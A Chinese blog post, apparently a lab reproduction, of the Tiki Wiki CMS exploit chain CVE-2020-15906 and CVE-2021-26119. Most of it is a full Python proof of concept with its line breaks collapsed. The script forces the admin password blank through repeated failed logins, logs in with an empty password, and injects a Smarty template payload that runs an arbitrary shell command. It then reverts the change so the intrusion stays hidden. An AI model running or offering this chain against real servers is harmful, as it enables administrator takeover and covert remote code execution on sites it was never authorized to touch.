Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现

2024-03-03 00:50

本文主要是介绍Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Tiki Wiki CMS组件认证过绕过漏洞(CVE-2020-15906)(CVE-2021-26119)

by ADummy

0x00利用路线

​ 爆破50次密码—>burpsuite抓包—>修改pass字段为空(坑点 记录好ticket,session,cookie)

0x01漏洞介绍

​ 在以下这些版本21.2,20.4,19.3,18.7,17.3,16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。

0x02漏洞复现

P牛写的poc

payload:

import requests
import sys
import redef auth_bypass(s, t):d = {"ticket" : "","user" : "admin","pass" : "trololololol",}h = { "referer" : t }d["ticket"] = get_ticket(s, "%stiki-login.php" % t)d["pass"] = "" # blank loginr = s.post("%stiki-login.php" % t, data=d, headers=h)r = s.get("%stiki-admin.php" % t)assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"def black_password(s, t):uri = "%stiki-login.php" % t# setup cookies heres.get(uri)ticket = get_ticket(s, uri)d = {'user':'admin', 'pass':'trololololol',}# crafted especially so unsuccessful_logins isn't recordedfor i in range(0, 51):r = s.post(uri, d)if("Account requires administrator approval." in r.text):print("(+) admin password blanked!")returnraise Exception("(-) auth bypass failed!") def get_ticket(s, uri):h = { "referer" : uri }r = s.get(uri)match = re.search('class="ticket" name="ticket" value="(.*)" \/>', r.text)assert match, "(-) csrf ticket leak failed!"return match.group(1)def trigger_or_patch_ssti(s, t, c=None):# CVE-2021-26119p = { "page": "look" }h = { "referer" : t }bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec(\"%s\")}')}endrce" % cd = {"ticket" : get_ticket(s, "%stiki-admin.php" % t),"feature_custom_html_head_content" : bypass if c else '',"lm_preference[]": "feature_custom_html_head_content"}r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)r = s.get("%stiki-index.php" % t)if c != None:assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"cmdr = r.text.split("startrce")[1].split("endrce")[0]print(cmdr.strip())def main():if(len(sys.argv) < 4):print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])returnp = sys.argv[2]c = sys.argv[3]p = p + "/" if not p.endswith("/") else pp = "/" + p if not p.startswith("/") else pt = "http://%s%s" % (sys.argv[1], p)s = requests.Session()print("(+) blanking password...")black_password(s, t)print("(+) getting a session...")auth_bypass(s, t)print("(+) auth bypass successful!")print("(+) triggering rce...\n")# trigger for rcetrigger_or_patch_ssti(s, t, c)# patch so we stay hiddentrigger_or_patch_ssti(s, t)if __name__ == '__main__':main()

靶场内可以直接打。

在这里插入图片描述

0x03参考资料

https://srcincite.io/pocs/cve-2021-26119.py.txt

这篇关于Tiki Wiki CMS组件认证过绕过漏洞利用链(CVE-2020-15906)(CVE-2021-26119) 漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/767940

相关文章

Maven 配置中的 <mirror>绕过 HTTP 阻断机制的方法

《Maven配置中的<mirror>绕过HTTP阻断机制的方法》:本文主要介绍Maven配置中的<mirror>绕过HTTP阻断机制的方法,本文给大家分享问题原因及解决方案,感兴趣的朋友一... 目录一、问题场景:升级 Maven 后构建失败二、解决方案:通过 <mirror> 配置覆盖默认行为1. 配置示

Spring组件实例化扩展点之InstantiationAwareBeanPostProcessor使用场景解析

《Spring组件实例化扩展点之InstantiationAwareBeanPostProcessor使用场景解析》InstantiationAwareBeanPostProcessor是Spring... 目录一、什么是InstantiationAwareBeanPostProcessor?二、核心方法解

Python中文件读取操作漏洞深度解析与防护指南

《Python中文件读取操作漏洞深度解析与防护指南》在Web应用开发中,文件操作是最基础也最危险的功能之一,这篇文章将全面剖析Python环境中常见的文件读取漏洞类型,成因及防护方案,感兴趣的小伙伴可... 目录引言一、静态资源处理中的路径穿越漏洞1.1 典型漏洞场景1.2 os.path.join()的陷

C++ RabbitMq消息队列组件详解

《C++RabbitMq消息队列组件详解》:本文主要介绍C++RabbitMq消息队列组件的相关知识,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录1. RabbitMq介绍2. 安装RabbitMQ3. 安装 RabbitMQ 的 C++客户端库4. A

PyQt6中QMainWindow组件的使用详解

《PyQt6中QMainWindow组件的使用详解》QMainWindow是PyQt6中用于构建桌面应用程序的基础组件,本文主要介绍了PyQt6中QMainWindow组件的使用,具有一定的参考价值,... 目录1. QMainWindow 组php件概述2. 使用 QMainWindow3. QMainW

Spring Security自定义身份认证的实现方法

《SpringSecurity自定义身份认证的实现方法》:本文主要介绍SpringSecurity自定义身份认证的实现方法,下面对SpringSecurity的这三种自定义身份认证进行详细讲解,... 目录1.内存身份认证(1)创建配置类(2)验证内存身份认证2.JDBC身份认证(1)数据准备 (2)配置依

Vue3组件中getCurrentInstance()获取App实例,但是返回null的解决方案

《Vue3组件中getCurrentInstance()获取App实例,但是返回null的解决方案》:本文主要介绍Vue3组件中getCurrentInstance()获取App实例,但是返回nu... 目录vue3组件中getCurrentInstajavascriptnce()获取App实例,但是返回n

SpringQuartz定时任务核心组件JobDetail与Trigger配置

《SpringQuartz定时任务核心组件JobDetail与Trigger配置》Spring框架与Quartz调度器的集成提供了强大而灵活的定时任务解决方案,本文主要介绍了SpringQuartz定... 目录引言一、Spring Quartz基础架构1.1 核心组件概述1.2 Spring集成优势二、J

SpringSecurity JWT基于令牌的无状态认证实现

《SpringSecurityJWT基于令牌的无状态认证实现》SpringSecurity中实现基于JWT的无状态认证是一种常见的做法,本文就来介绍一下SpringSecurityJWT基于令牌的无... 目录引言一、JWT基本原理与结构二、Spring Security JWT依赖配置三、JWT令牌生成与

SpringSecurity6.0 如何通过JWTtoken进行认证授权

《SpringSecurity6.0如何通过JWTtoken进行认证授权》:本文主要介绍SpringSecurity6.0通过JWTtoken进行认证授权的过程,本文给大家介绍的非常详细,感兴趣... 目录项目依赖认证UserDetailService生成JWT token权限控制小结之前写过一个文章,从S